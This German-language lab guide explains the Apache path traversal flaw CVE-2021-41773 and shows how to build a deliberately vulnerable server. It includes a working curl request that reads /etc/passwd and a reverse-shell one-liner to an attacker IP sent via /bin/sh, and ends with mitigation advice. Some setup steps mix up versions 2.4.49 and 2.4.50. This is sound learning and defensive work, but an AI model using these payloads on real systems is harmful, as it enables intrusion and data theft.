
Die POC- und Lab-Setup-Dokumentation von CVE 2021 41773
Die POC- und Lab-Setup-Dokumentation von CVE-2021-41773
CVE-2021-41773 ist eine Path-Traversal-Schwachstelle im Apache HTTP Server 2.4.49 und 2.4.50. Diese Schwachstelle nutzt eine Aktualisierung des Path-Normalisierungs-Codes aus, die in dieser Version eingeführt wurde.
Die Path-Normalisierungs-Funktion:
Normalerweise filtert die Path-Normalisierung den URL-Pfad in ein Standard-
Format, um Angreifer vor böswilligen Aktionen zu schützen.
Apache HTTP Server 2.4.49 führte eine Änderung an der ap_normalize_path-Funktion ein, die zur Hauptursache dieser Schwachstelle wurde.
Wenn wir uns den Quellcode ansehen, erkennen wir, dass die Funktion jedes Zeichen der angegebenen URL durchläuft und eine Bereinigung durchführt.
Die Schwachstelle befindet sich jedoch in dem Codeabschnitt, in dem die URL-Decodierung stattfindet. Die Funktion ist einfach: Sie decodiert einfach das URL-kodierte Zeichen
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) &&
path[l] == '%' &&
apr_isxdigit(path[l + 1]) &&
apr_isxdigit(path[l + 2]))
{
// Decode the percent-encoded character
const char c = x2c(&path[l + 1]);
// Check if the decoded character is alphanumeric or one of the allowed symbols
if (apr_isalnum(c) || (c && strchr("-._~", c)))
{
// Replace the last character with the decoded one and update position
l += 2;
path[l] = c;
}
}
Das Problem hier ist, dass sie nur den ersten Punkt . in der URL behandelt, was bedeutet, dass wenn wir anstelle von ../ den Wert .%2e/ angeben, der Server den %2e als Punkt decodiert, was zu ../ führt.
Normalfall:
URL Input: http://target/cgi-bin/../../etc/passwd
Path Normalization Steps:
1. Detect ../ -> Attempt to traverse up a directory.
2. Normalize function -> will remove or block ../
Verwundbarer Fall:
URL Input: http://target/cgi-bin/.%2e/.%2e/.%2e/etc/passwd
Path Normalization Steps:
1. Decodes %2e to . -> The Result is ./.././../etc/passwd
2. Partial Normalization -> Does not recognize .%2e/ as equivalent to ../
3. Path Traversal is not fully blocked.
Resulting Path: /etc/passwd (Access Granted)
Dieses Problem wird gefährlich und ausnutzbar, wenn es mit Server-Direktiven kombiniert wird. Diese dienen als Regeln für das Verhalten des Apache-Servers.
Die Require all granted-Konfiguration erlaubt explizit allen Anfragen den Zugriff auf Ressourcen innerhalb des DocumentRoot.
<Directory />
AllowOverride None
Require all granted # Deliberately vulnerable setting, here it was denied usually
</Directory>
Wenn der Server auf der Root-Ebene mit der Require all granted-Direktive konfiguriert ist, wird das gesamte Dateisystem öffentlich zugänglich gemacht.
Das cgi-bin-Verzeichnis in Apache ist standardmäßig ein Alias-Verzeichnis mit der Require all granted-Direktive, das öffentlichen Zugriff ermöglicht, d.h. jeder kann Anfragen an das Verzeichnis /usr/local/apache2/cgi-bin/ stellen.
Durch die Kombination des Logikfehlers in der ap_normalize_path-Funktion, der den Path-Traversal-Bypass ermöglicht, und einer fehlkonfigurierten Require all granted-Direktive auf dem Server können Angreifer auf Dateien im Dateisystem des Servers außerhalb der vorgesehenen Verzeichnisse zugreifen.
Diese Schwachstelle kann weiter ausgenutzt werden, was zu Remote-Code-Ausführung führt, wenn mod_cgi auf dem Server aktiviert ist.
Standardmäßig ist dieses Modul auf Apache HTTPD nicht aktiviert, was bedeutet, dass die Standardversion nicht anfällig für RCE ist.
mod_cgi ermöglicht die Ausführung von CGI-Skripten (Common Gateway Interface) auf dem Server und die Rückgabe der Ausgabe an den Client; es wird hauptsächlich verwendet, um dynamische Funktionen für Websites bereitzustellen.
Laden Sie die anfällige Apache-Version herunter (Herunterladen aus dem Archiv, da die anfällige Version nicht direkt installiert werden kann):
wget https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz
Abhängigkeiten installieren:
sudo apt-get install libapr1 libapr1-dev libaprutil1 libaprutil1-dev
sudo apt-get install build-essential
Entpacken Sie die anfällige Apache-Datei und konfigurieren Sie sie:
tar -xvf httpd-2.4.50.tar.gz
cd httpd-2.4.50
./configure
make
sudo make install
Nach erfolgreichem Abschluss gehen Sie zur Konfigurationsdatei von Apache:
sudo nano /usr/local/apache2/conf/httpd.conf
Fügen Sie Folgendes in die Konfigurationsdatei ein:
ServerName 127.0.1.1
Starten Sie den Apache-Dienst:
sudo /usr/local/apache2/bin/apachectl start
Navigieren Sie zum Standard-Webserver-Verzeichnis:
cd /usr/local/apache2/htdocs
Hinweis: Normalerweise ist das Stammverzeichnis von Apache /var/www/html, hier ist es /usr/local/apache2/htdocs, da wir den Server nicht aus den Quellen installiert haben; wir könnten es auf /var/www/html ändern, wenn wir wollten. Aber ich behalte es vorerst so bei.
Erstellen Sie eine einfache statische Website:
HTML:
echo "GNU nano 6.2 index.html *
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CVE-2021-41773</title>
<!-- Link to external CSS file -->
<link rel="stylesheet" href="styles.css">
</head>
<body>
<div class="noise"></div>
<div class="overlay"></div>
<div class="terminal">
<h1>Error <span class="errorcode">404</span></h1>
<p class="output">This is a replication of CVE-2021-41773</p>
<p class="output">Exploit <a href="https://nvd.nist.gov/vuln/detail/cve-2021-41773"> the vulnerability</a> or <a href="https://www.hackthebox.com/blog/cve-2021-41773-explained">Learn more about it </a> </p>
<p class="output">Good luck.</p>
</div>
</body>
</html>" | sudo tee index.html
CSS:
echo "@import 'https://fonts.googleapis.com/css?family=Inconsolata';
html {
min-height: 100%;
}
body {
box-sizing: border-box;
height: 100%;
background-color: #000000;
background-image: radial-gradient(#11581E, #041607), url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
font-family: 'Inconsolata', Helvetica, sans-serif;
font-size: 1.5rem;
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1ex rgba(51, 255, 51, 1),
0 0 2px rgba(255, 255, 255, 0.8);
}
.noise {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background-image: url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
z-index: -1;
opacity: .02;
}
.overlay {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background:
repeating-linear-gradient(
180deg,
rgba(0, 0, 0, 0) 0,
rgba(0, 0, 0, 0.3) 50%,
rgba(0, 0, 0, 0) 100%);
background-size: auto 4px;
z-index: 1;
}
.overlay::before {
content: "";
pointer-events: none;
position: absolute;
display: block;
top: 0;
left: 0;
right: 0;
bottom: 0;
width: 100%;
height: 100%;
background-image: linear-gradient(
0deg,
transparent 0%,
rgba(32, 128, 32, 0.2) 2%,
rgba(32, 128, 32, 0.8) 3%,
rgba(32, 128, 32, 0.2) 3%,
transparent 100%);
background-repeat: no-repeat;
animation: scan 7.5s linear 0s infinite;
}
@keyframes scan {
0% { background-position: 0 -100vh; }
35%, 100% { background-position: 0 100vh; }
}
.terminal {
box-sizing: inherit;
position: absolute;
height: 100%;
width: 1000px;
max-width: 100%;
padding: 4rem;
text-transform: uppercase;
}
.output {
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.output::before {
content: "> ";
}
/*
.input {
color: rgba(192, 255, 192, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.input::before {
content: "$ ";
}
*/
a {
color: #fff;
text-decoration: none;
}
a::before {
content: "[";
}
a::after {
content: "]";
}
.errorcode {
color: white;
}"| sudo tee styles.css
Bearbeiten Sie die Apache-Konfiguration, um die Schwachstelle zu simulieren:
sudo nano /usr/local/apache2/conf/httpd.conf
Nehmen Sie in diesem Teil der Konfigurationsdatei eine Änderung vor, damit die Schwachstelle ausgenutzt werden kann:
<Directory />
AllowOverride None
Require all granted # Deliberately vulnerable setting, here it was denied usually
</Directory>
Starten Sie nun den Apache-Server:
sudo /usr/local/apache2/bin/apachectl start
Rufen Sie die anfällige Website auf, indem Sie eingeben:
http://<vm-ip>
Das Labor ist bereit, jetzt sehen wir uns an, wie die Ausnutzung funktioniert:
Diese curl-Anfrage wird die Schwachstelle auslösen:
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
Wir können auf diese Weise auf die Datei /etc/passwd oder jede andere Datei im System zugreifen
Versuchen wir eine Befehlsinjektion und versuchen, eine Reverse-Shell zu erhalten:
Richten Sie auf dem Angreifer-Rechner einen netcat-Listener ein:
nc -lvnp 4444
Senden Sie nun den Bash-One-Liner per curl-Anfrage an das Opfer:
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|bash -i >& /dev/tcp/192.168.65.100/4444 0>&1'
Dies gewährt uns einen Shell-Zugriff.
Bei den Versionen 2.4.49 und 2.4.50 wird empfohlen, auf die neueste Version zu aktualisieren.
Falls ein Update nicht möglich ist, empfiehlt es sich, Verzeichnisse zu prüfen, um den öffentlichen Zugriff einzuschränken:
Require all denied-Direktiven müssen für alle Verzeichnisse implementiert werden, die nicht für den öffentlichen Zugriff bestimmt sind, und niemals auf der Root-Ebene.
Das /cgi-bin-Verzeichnis sollte mit der Require all denied-Direktive konfiguriert werden und nicht als Alias gesetzt sein.